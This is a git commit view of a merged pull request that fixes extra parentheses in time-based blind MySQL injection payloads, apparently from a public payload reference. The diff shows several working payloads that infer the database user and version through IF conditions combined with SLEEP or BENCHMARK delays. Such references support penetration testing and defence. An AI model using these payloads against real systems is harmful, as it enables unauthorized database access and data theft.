Merge pull request #769 from DoongPark/fix-parentheses
Some checks failed
mkdocs-build / deploy (push) Has been cancelled

Fix extra parentheses in MySQL Injection.md
This commit is contained in:
Swissky 2025-02-19 21:08:47 +01:00 committed by GitHub
commit 0e93caed81
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -432,8 +432,8 @@ Extracting column_name.
### Using Conditional Statements ### Using Conditional Statements
```sql ```sql
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) -- ?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) -- ?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 ?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
``` ```